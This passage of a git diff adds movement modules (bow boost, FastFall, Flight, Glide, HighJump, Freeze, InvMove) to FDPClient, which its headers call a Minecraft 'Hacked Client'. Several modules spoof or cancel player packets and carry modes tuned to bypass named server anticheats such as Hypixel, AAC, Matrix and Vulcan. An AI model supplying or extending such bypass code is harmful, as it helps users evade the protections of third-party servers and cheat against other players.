{ + if (event.packet is C09PacketHeldItemChange) { + lastSlot = event.packet.slotId + event.cancelEvent() + } + + if (event.packet is C03PacketPlayer) { + if (bowState < 3) event.packet.isMoving = false + } + } + + @EventTarget + fun onUpdate(event: UpdateEvent?) { + mc.timer.timerSpeed = 1f + + var forceDisable = false + when (bowState) { + 0 -> { + val slot = bowSlot + if (slot < 0 || !mc.thePlayer.inventory.hasItem(Items.arrow)) { + forceDisable = true + bowState = 5 + } else if (lastPlayerTick == -1L) { + val stack = mc.thePlayer.inventoryContainer.getSlot(slot + 36).stack + + if (lastSlot != slot) sendPacketNoEvent(C09PacketHeldItemChange(slot)) + sendPacketNoEvent( + C08PacketPlayerBlockPlacement( + BlockPos(-1, -1, -1), + 255, + mc.thePlayer.inventoryContainer.getSlot(slot + 36).stack, + 0f, + 0f, + 0f + ) + ) + + lastPlayerTick = mc.thePlayer.ticksExisted.toLong() + bowState = 1 + } + } + + 1 -> { + val reSlot = bowSlot + if (mc.thePlayer.ticksExisted - lastPlayerTick > delayBeforeLaunch.get()) { + sendPacketNoEvent(C05PacketPlayerLook(mc.thePlayer.rotationYaw, -90f, mc.thePlayer.onGround)) + sendPacketNoEvent( + C07PacketPlayerDigging( + C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, + BlockPos.ORIGIN, + EnumFacing.DOWN + ) + ) + + if (lastSlot != reSlot) sendPacketNoEvent(C09PacketHeldItemChange(lastSlot)) + bowState = 2 + } + } + + 2 -> if (mc.thePlayer.hurtTime > 0) bowState = 3 + 3 -> { + if (hypixelBypassValue.get()) { + if (mc.thePlayer.hurtTime >= 8) { + mc.thePlayer.motionY = 0.58 + mc.thePlayer.jump() + } + if (mc.thePlayer.hurtTime == 8) { + strafe(0.72f) + } + + if (mc.thePlayer.hurtTime == 7) { + mc.thePlayer.motionY += 0.03 + } + + if (mc.thePlayer.hurtTime <= 6) { + mc.thePlayer.motionY += 0.015 + } + mc.timer.timerSpeed = timerValue.get() + if (mc.thePlayer.onGround && mc.thePlayer.ticksExisted - lastPlayerTick >= 1) bowState = 5 + } else { + when (modeValue.get()) { + "Strafe" -> { + strafe(boostValue.get()) + } + + "SpeedInAir" -> { + mc.thePlayer.speedInAir = speedInAirBoostValue.value + mc.thePlayer.jump() + } + } + mc.thePlayer.motionY = heightValue.get().toDouble() + bowState = 4 + lastPlayerTick = mc.thePlayer.ticksExisted.toLong() + } + mc.timer.timerSpeed = timerValue.get() + if (mc.thePlayer.onGround && mc.thePlayer.ticksExisted - lastPlayerTick >= 1) bowState = 5 + } + + 4 -> { + mc.timer.timerSpeed = timerValue.get() + if (mc.thePlayer.onGround && mc.thePlayer.ticksExisted - lastPlayerTick >= 1) bowState = 5 + } + } + if (bowState < 3) { + mc.thePlayer.movementInput.moveForward = 0f + mc.thePlayer.movementInput.moveStrafe = 0f + } + + if (bowState == 5 && (autodisable.get() || forceDisable)) this.state = false + } + + @EventTarget + fun onWorld(event: WorldEvent?) { + this.state = false //prevent weird things + } + + override fun onDisable() { + mc.timer.timerSpeed = 1.0f + mc.thePlayer.speedInAir = 0.02f + } + + private val bowSlot: Int + get() { + for (i in 36..44) { + val stack = mc.thePlayer.inventoryContainer.getSlot(i).stack + if (stack != null && stack.item is ItemBow) { + return i - 36 + } + } + return -1 + } + + @EventTarget + fun onRender2D(event: Render2DEvent?) { + if (!renderValue.get()) return + val scaledRes = ScaledResolution(mc) + + val width = bowState.toFloat() / 5f * 60f + + Fonts.font40.drawCenteredString( + bowStatus, + scaledRes.scaledWidth / 2f, + scaledRes.scaledHeight / 2f + 14f, + -1, + true + ) + RenderUtils.drawRect( + scaledRes.scaledWidth / 2f - 31f, + scaledRes.scaledHeight / 2f + 25f, + scaledRes.scaledWidth / 2f + 31f, + scaledRes.scaledHeight / 2f + 29f, + -0x60000000 + ) + RenderUtils.drawRect( + scaledRes.scaledWidth / 2f - 30f, + scaledRes.scaledHeight / 2f + 26f, + scaledRes.scaledWidth / 2f - 30f + width, + scaledRes.scaledHeight / 2f + 28f, + statusColor + ) + } + + private val bowStatus: String + get() = when (bowState) { + 0 -> "Idle..." + 1 -> "Preparing..." + 2 -> "Waiting for damage..." + 3, 4 -> "Boost!" + else -> "Task completed." + } + + private val statusColor: Color + get() = when (bowState) { + 0 -> Color(21, 21, 21) + 1 -> Color(48, 48, 48) + 2 -> Color.yellow + 3, 4 -> Color.green + else -> Color(0, 111, 255) + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/FastFall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/FastFall.kt new file mode 100644 index 0000000..1bd1394 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/FastFall.kt @@ -0,0 +1,64 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.MoveEvent +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.network.play.client.C03PacketPlayer + +@ModuleInfo(name = "FastFall", category = ModuleCategory.MOVEMENT) +class FastFall : Module() { + private var idk = 0 + private var freeze = false + + private val listValue = ListValue("Mode", arrayOf("Normal", "Polar"), "Normal") + private val maxFallDistance = FloatValue("MaxFallDistance", 3f, 0f, 10f) + private var freezeValue = FloatValue("FreezeTick", 10f, 6f, 50f).displayable {listValue.equals("Polar")} + + override fun onEnable() { + idk = 0 + freeze = false + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (listValue.equals("Normal")) { + if (mc.thePlayer.fallDistance >= maxFallDistance.get()) { + mc.thePlayer.motionY -= 5.0 + } + } else { + if (mc.thePlayer.fallDistance >= maxFallDistance.get()) { + if (idk == 0) { + idk = freezeValue.get().toInt() + } + } + if (idk > 0){ + idk -= 1 + freeze = idk > 5 + } + } + } + + @EventTarget + fun onPacket(event: PacketEvent) { + val packet = event.packet + if (listValue.equals("Polar")) { + if (freeze) { + if (packet is C03PacketPlayer) { + packet.y += mc.thePlayer.posY + 0.01 + } + } + } + } + @EventTarget + fun onMove(event: MoveEvent) { + if (freeze) { + event.cancelEvent() + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/FastLadder.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/FastLadder.kt new file mode 100644 index 0000000..c25901e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/FastLadder.kt @@ -0,0 +1,32 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.utils.block.BlockUtils +import net.minecraft.block.BlockLadder +import net.minecraft.block.BlockVine +import net.minecraft.util.BlockPos + +@ModuleInfo(name = "FastLadder", category = ModuleCategory.MOVEMENT) +object FastLadder : Module() { + + private val yMotionValue = FloatValue("YMotion", 0.15f, 0.1f, 0.2f) + @EventTarget + fun onUpdate(event: UpdateEvent) { + val block = BlockUtils.getBlock(BlockPos(mc.thePlayer.posX, mc.thePlayer.posY + 1, mc.thePlayer.posZ)) + if ((block is BlockLadder && mc.thePlayer.isCollidedHorizontally) || (block is BlockVine || BlockUtils.getBlock(BlockPos(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ)) is BlockVine)) { + mc.thePlayer.motionY = yMotionValue.get().toDouble() + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Flight.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Flight.kt new file mode 100644 index 0000000..91149c0 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Flight.kt @@ -0,0 +1,171 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.EnumAutoDisableType +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.utils.ClassUtils +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.network.play.server.S19PacketEntityStatus +import org.lwjgl.input.Keyboard +import java.awt.Color + +@ModuleInfo(name = "Flight", category = ModuleCategory.MOVEMENT, autoDisable = EnumAutoDisableType.FLAG, keyBind = Keyboard.KEY_F) +object Flight : Module() { + + private val modes = ClassUtils.resolvePackage("${this.javaClass.`package`.name}.flys", FlyMode::class.java) + .map { it.newInstance() as FlyMode } + .sortedBy { it.modeName } + + private val mode: FlyMode + get() = modes.find { modeValue.equals(it.modeName) } ?: throw NullPointerException() // this should not happen + + private val modeValue: ListValue = object : ListValue("Mode", modes.map { it.modeName }.toTypedArray(), "Vanilla") { + override fun onChange(oldValue: String, newValue: String) { + if (state) onDisable() + } + + override fun onChanged(oldValue: String, newValue: String) { + if (state) onEnable() + } + } + + private val motionResetValue = BoolValue("MotionReset", false) + + + // Visuals + private val markValue = ListValue("Mark", arrayOf("Up", "Down", "Off"), "Up") + private val fakeDamageValue = BoolValue("FakeDamage", false) + private val viewBobbingValue = BoolValue("ViewBobbing", false) + private val viewBobbingYawValue = FloatValue("ViewBobbingYaw", 0.1f, 0f, 0.5f).displayable { viewBobbingValue.get() } + val legacyWarningValue = BoolValue("LegacyWarn", false) + + var launchX = 0.0 + var launchY = 0.0 + var launchZ = 0.0 + var launchYaw = 0f + var launchPitch = 0f + + var antiDesync = false + + var needReset = true + + override fun onEnable() { + antiDesync = false + needReset = true + if (mc.thePlayer.onGround && fakeDamageValue.get()) { + val event = PacketEvent(S19PacketEntityStatus(mc.thePlayer, 2.toByte()), PacketEvent.Type.RECEIVE) + FDPClient.eventManager.callEvent(event) + if (!event.isCancelled) { + mc.thePlayer.handleStatusUpdate(2.toByte()) + } + } + + launchX = mc.thePlayer.posX + launchY = mc.thePlayer.posY + launchZ = mc.thePlayer.posZ + launchYaw = mc.thePlayer.rotationYaw + launchPitch = mc.thePlayer.rotationPitch + + mode.onEnable() + } + + override fun onDisable() { + antiDesync = false + mc.thePlayer.capabilities.isFlying = false + mc.thePlayer.capabilities.flySpeed = 0.05f + mc.thePlayer.noClip = false + + mc.timer.timerSpeed = 1F + mc.thePlayer.speedInAir = 0.02F + + if (motionResetValue.get() && needReset) MovementUtils.resetMotion(true) + + mode.onDisable() + } + + @EventTarget + fun onRender3d(event: Render3DEvent) { + if (markValue.equals("Off")) { + return + } + + RenderUtils.drawPlatform( + if (markValue.equals("Up")) launchY + 2.0 else launchY, + if (mc.thePlayer.entityBoundingBox.maxY < launchY + 2.0) Color(0, 255, 0, 90) else Color(255, 0, 0, 90), + 1.0) + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + mode.onUpdate(event) + } + + @EventTarget + fun onMotion(event: MotionEvent) { + if(viewBobbingValue.get()) { + mc.thePlayer.cameraYaw = viewBobbingYawValue.get() + mc.thePlayer.prevCameraYaw = viewBobbingYawValue.get() + } + mode.onMotion(event) + } + + @EventTarget + fun onPacket(event: PacketEvent) { + mode.onPacket(event) + } + + @EventTarget + fun onWorld(event: WorldEvent) { + mode.onWorld(event) + } + + @EventTarget + fun onMove(event: MoveEvent) { + mode.onMove(event) + } + + @EventTarget + fun onBlockBB(event: BlockBBEvent) { + mode.onBlockBB(event) + } + + @EventTarget + fun onJump(event: JumpEvent) { + mode.onJump(event) + } + + @EventTarget + fun onStep(event: StepEvent) { + mode.onStep(event) + } + + override val tag: String + get() = modeValue.get() + + /** + * 读取mode中的value并和本体中的value合并 + * 所有的value必须在这个之前初始化 + */ + override val values = super.values.toMutableList().also { + modes.map { + mode -> mode.values.forEach { value -> + //it.add(value.displayable { modeValue.equals(mode.modeName) }) + val displayableFunction = value.displayableFunction + it.add(value.displayable { displayableFunction.invoke() && modeValue.equals(mode.modeName) }) + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Freeze.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Freeze.kt new file mode 100644 index 0000000..e071550 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Freeze.kt @@ -0,0 +1,70 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.EnumAutoDisableType +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.server.S08PacketPlayerPosLook + +@ModuleInfo(name = "Freeze", category = ModuleCategory.MOVEMENT, autoDisable = EnumAutoDisableType.RESPAWN) +object Freeze : Module() { + + private var motionX = 0.0 + private var motionY = 0.0 + private var motionZ = 0.0 + private var x = 0.0 + private var y = 0.0 + private var z = 0.0 + + override fun onEnable() { + if (mc.thePlayer == null) { + return + } + + x = mc.thePlayer.posX + y = mc.thePlayer.posY + z = mc.thePlayer.posZ + motionX = mc.thePlayer.motionX + motionY = mc.thePlayer.motionY + motionZ = mc.thePlayer.motionZ + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionY = 0.0 + mc.thePlayer.motionZ = 0.0 + mc.thePlayer.setPositionAndRotation(x, y, z, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch) + } + + @EventTarget + fun onPacket(event: PacketEvent) { + if (event.packet is C03PacketPlayer) { + event.cancelEvent() + } + if (event.packet is S08PacketPlayerPosLook) { + x = event.packet.x + y = event.packet.y + z = event.packet.z + motionX = 0.0 + motionY = 0.0 + motionZ = 0.0 + } + } + + override fun onDisable() { + mc.thePlayer.motionX = motionX + mc.thePlayer.motionY = motionY + mc.thePlayer.motionZ = motionZ + mc.thePlayer.setPositionAndRotation(x, y, z, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch) + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Glide.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Glide.kt new file mode 100644 index 0000000..6aadd78 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Glide.kt @@ -0,0 +1,144 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.EnumAutoDisableType +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.module.modules.movement.glides.GlideMode +import net.ccbluex.liquidbounce.utils.ClassUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.network.play.server.S19PacketEntityStatus + +@ModuleInfo(name = "Glide", category = ModuleCategory.MOVEMENT, autoDisable = EnumAutoDisableType.FLAG) +object Glide : Module() { + + private val modes = ClassUtils.resolvePackage("${this.javaClass.`package`.name}.glides", GlideMode::class.java) + .map { it.newInstance() as GlideMode } + .sortedBy { it.modeName } + + private val mode: GlideMode + get() = modes.find { modeValue.equals(it.modeName) } ?: throw NullPointerException() // this should not happen + + private val modeValue: ListValue = object : ListValue("Mode", modes.map { it.modeName }.toTypedArray(), "Vulcan2.6.3") { + override fun onChange(oldValue: String, newValue: String) { + if (state) onDisable() + } + + override fun onChanged(oldValue: String, newValue: String) { + if (state) onEnable() + } + } + + private val motionResetValue = BoolValue("MotionReset", false) + + // Visuals + private val fakeDamageValue = BoolValue("FakeDamage", false) + private val viewBobbingValue = BoolValue("ViewBobbing", false) + private val viewBobbingYawValue = FloatValue("ViewBobbingYaw", 0.1f, 0f, 0.5f).displayable { viewBobbingValue.get() } + + var launchX = 0.0 + var launchY = 0.0 + var launchZ = 0.0 + var launchYaw = 0f + var launchPitch = 0f + + override fun onEnable() { + if (mc.thePlayer.onGround && fakeDamageValue.get()) { + val event = PacketEvent(S19PacketEntityStatus(mc.thePlayer, 2.toByte()), PacketEvent.Type.RECEIVE) + FDPClient.eventManager.callEvent(event) + if (!event.isCancelled) { + mc.thePlayer.handleStatusUpdate(2.toByte()) + } + } + + launchX = mc.thePlayer.posX + launchY = mc.thePlayer.posY + launchZ = mc.thePlayer.posZ + launchYaw = mc.thePlayer.rotationYaw + launchPitch = mc.thePlayer.rotationPitch + + mode.onEnable() + } + + override fun onDisable() { + mc.thePlayer.capabilities.isFlying = false + mc.thePlayer.capabilities.flySpeed = 0.05f + mc.thePlayer.noClip = false + + mc.timer.timerSpeed = 1F + mc.thePlayer.speedInAir = 0.02F + + if (motionResetValue.get()) { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionY = 0.0 + mc.thePlayer.motionZ = 0.0 + } + + mode.onDisable() + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + mode.onUpdate(event) + } + + @EventTarget + fun onMotion(event: MotionEvent) { + if(viewBobbingValue.get()) { + mc.thePlayer.cameraYaw = viewBobbingYawValue.get() + mc.thePlayer.prevCameraYaw = viewBobbingYawValue.get() + } + mode.onMotion(event) + } + + @EventTarget + fun onPacket(event: PacketEvent) { + mode.onPacket(event) + } + + @EventTarget + fun onMove(event: MoveEvent) { + mode.onMove(event) + } + + @EventTarget + fun onBlockBB(event: BlockBBEvent) { + mode.onBlockBB(event) + } + + @EventTarget + fun onJump(event: JumpEvent) { + mode.onJump(event) + } + + @EventTarget + fun onStep(event: StepEvent) { + mode.onStep(event) + } + + override val tag: String + get() = modeValue.get() + + /** + * 读取mode中的value并和本体中的value合并 + * 所有的value必须在这个之前初始化 + */ + override val values = super.values.toMutableList().also { + modes.map { + mode -> mode.values.forEach { value -> + //it.add(value.displayable { modeValue.equals(mode.modeName) }) + val displayableFunction = value.displayableFunction + it.add(value.displayable { displayableFunction.invoke() && modeValue.equals(mode.modeName) }) + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/HighJump.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/HighJump.kt new file mode 100644 index 0000000..c34e2eb --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/HighJump.kt @@ -0,0 +1,185 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.JumpEvent +import net.ccbluex.liquidbounce.event.MoveEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.block.BlockUtils.getBlock +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.block.Block +import net.minecraft.block.BlockPane +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C07PacketPlayerDigging +import net.minecraft.network.play.client.C0APacketAnimation +import net.minecraft.util.BlockPos +import net.minecraft.util.EnumFacing + +@ModuleInfo(name = "HighJump", category = ModuleCategory.MOVEMENT) +object HighJump : Module() { + + private val heightValue = FloatValue("Height", 2f, 1.1f, 7f) + private val modeValue = ListValue("Mode", arrayOf("Vanilla", "StableMotion", "Damage", "AACv3", "DAC", "Mineplex", "Matrix", "MatrixWater"), "Vanilla") + private val glassValue = BoolValue("OnlyGlassPane", false) + private val stableMotionValue = FloatValue("StableMotion", 0.42f, 0.1f, 1f).displayable { modeValue.equals("StableMotion") } + private var jumpY = 114514.0 + + private var martrixStatus = 0 + private var martrixWasTimer = false + + private val timer = MSTimer() + + override fun onEnable() { + jumpY = 114514.0 + martrixStatus = 0 + martrixWasTimer = false + } + + override fun onDisable() { + mc.timer.timerSpeed = 1f + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (glassValue.get() && getBlock(BlockPos(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ)) !is BlockPane) return + + when (modeValue.get().lowercase()) { + "damage" -> { + if (mc.thePlayer.hurtTime > 0 && mc.thePlayer.onGround) mc.thePlayer.motionY += (0.42f * heightValue.get()).toDouble() + } + + "aacv3" -> { + if (!mc.thePlayer.onGround) mc.thePlayer.motionY += 0.059 + } + + "dac" -> { + if (!mc.thePlayer.onGround) mc.thePlayer.motionY += 0.049999 + } + + "mineplex" -> { + if (!mc.thePlayer.onGround) MovementUtils.strafe(0.35f) + } + + "stablemotion" -> { + if (jumpY != 114514.0) { + if (jumpY + heightValue.get() - 1 > mc.thePlayer.posY) { + mc.thePlayer.motionY = stableMotionValue.get().toDouble() + } else { + jumpY = 114514.0 + } + } + } + "matrixWater" -> { + if (mc.thePlayer.isInWater) { + if (mc.theWorld.getBlockState(BlockPos(mc.thePlayer.posX, mc.thePlayer.posY + 1, mc.thePlayer.posZ)).block == Block.getBlockById(9)) { + mc.thePlayer.motionY = 0.18 + } else if (mc.theWorld.getBlockState(BlockPos(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ)).block == Block.getBlockById(9)) { + mc.thePlayer.motionY = heightValue.get().toDouble() + mc.thePlayer.onGround = true + } + } + } + "matrix" -> { + if (martrixWasTimer) { + mc.timer.timerSpeed = 1.00f + martrixWasTimer = false + } + if ((mc.theWorld.getCollidingBoundingBoxes(mc.thePlayer, mc.thePlayer.entityBoundingBox.offset(0.0, mc.thePlayer.motionY, 0.0).expand(0.0, 0.0, 0.0)).isNotEmpty() || + mc.theWorld.getCollidingBoundingBoxes(mc.thePlayer, mc.thePlayer.entityBoundingBox.offset(0.0, -4.0, 0.0).expand(0.0, 0.0, 0.0)).isNotEmpty()) && + mc.thePlayer.fallDistance > 10) { + if (!mc.thePlayer.onGround) { + mc.timer.timerSpeed = 0.1f + martrixWasTimer = true + } + } + if (timer.hasTimePassed(1000) && martrixStatus == 1) { + mc.timer.timerSpeed = 1.0f + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + martrixStatus = 0 + return + } + if (martrixStatus == 1 && mc.thePlayer.hurtTime > 0) { + mc.timer.timerSpeed = 1.0f + mc.thePlayer.motionY = 3.0 + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + mc.thePlayer.jumpMovementFactor = 0.00f + martrixStatus = 0 + return + } + if (martrixStatus == 2) { + mc.thePlayer.sendQueue.addToSendQueue(C0APacketAnimation()) + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false)) + repeat(8) { + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.3990, mc.thePlayer.posZ, false)) + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false)) + } + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true)) + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true)) + mc.timer.timerSpeed = 0.6f + martrixStatus = 1 + timer.reset() + mc.thePlayer.sendQueue.addToSendQueue(C07PacketPlayerDigging(C07PacketPlayerDigging.Action.ABORT_DESTROY_BLOCK, BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 1, mc.thePlayer.posZ), EnumFacing.UP)) + mc.thePlayer.sendQueue.addToSendQueue(C0APacketAnimation()) + return + } + if (mc.thePlayer.isCollidedHorizontally && martrixStatus == 0 && mc.thePlayer.onGround) { + mc.thePlayer.sendQueue.addToSendQueue(C07PacketPlayerDigging(C07PacketPlayerDigging.Action.START_DESTROY_BLOCK, BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 1, mc.thePlayer.posZ), EnumFacing.UP)) + mc.thePlayer.sendQueue.addToSendQueue(C0APacketAnimation()) + martrixStatus = 2 + mc.timer.timerSpeed = 0.05f + } + if (mc.thePlayer.isCollidedHorizontally && mc.thePlayer.onGround) { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + mc.thePlayer.onGround = false + } + } + } + } + + @EventTarget + fun onMove(event: MoveEvent) { + if (glassValue.get() && getBlock(BlockPos(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ)) !is BlockPane) return + + if (!mc.thePlayer.onGround) { + if ("mineplex" == modeValue.get().lowercase()) { + mc.thePlayer.motionY += if (mc.thePlayer.fallDistance == 0f) 0.0499 else 0.05 + } + } + } + + @EventTarget + fun onJump(event: JumpEvent) { + if (glassValue.get() && getBlock(BlockPos(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ)) !is BlockPane) return + + when (modeValue.get().lowercase()) { + "vanilla" -> { + event.motion *= heightValue.get() + } + + "mineplex" -> { + event.motion = 0.47f + } + + "stablemotion" -> { + jumpY = mc.thePlayer.posY + } + } + } + + override val tag: String + get() = modeValue.get() +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/InvMove.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/InvMove.kt new file mode 100644 index 0000000..269c597 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/InvMove.kt @@ -0,0 +1,205 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement + +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.client.gui.GuiChat +import net.minecraft.client.gui.inventory.GuiContainer +import net.minecraft.client.settings.GameSettings +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C0BPacketEntityAction +import net.minecraft.network.play.client.C0DPacketCloseWindow +import net.minecraft.network.play.client.C0EPacketClickWindow +import net.minecraft.network.play.client.C16PacketClientStatus +import net.minecraft.network.play.server.S2DPacketOpenWindow +import net.minecraft.network.play.server.S2EPacketCloseWindow +import org.lwjgl.input.Keyboard + +@ModuleInfo(name = "InvMove", category = ModuleCategory.MOVEMENT) +object InvMove : Module() { + + private val noDetectableValue = BoolValue("NoDetectable", false) + private val bypassValue = ListValue("Bypass", arrayOf("NoOpenPacket", "Blink", "PacketInv", "None"), "None") + private val rotateValue = BoolValue("Rotate", false) + private val noMoveClicksValue = BoolValue("NoMoveClicks", false) + val noSprintValue = ListValue("NoSprint", arrayOf("Real", "PacketSpoof", "None"), "None") + + private val blinkPacketList = mutableListOf<C03PacketPlayer>() + private val packetListYes = mutableListOf<C0EPacketClickWindow>() + private var lastInvOpen = false + var invOpen = false + private set + + private var isInv = false + + private fun updateKeyState() { + if (mc.currentScreen != null && mc.currentScreen !is GuiChat && (!noDetectableValue.get() || mc.currentScreen !is GuiContainer)) { + 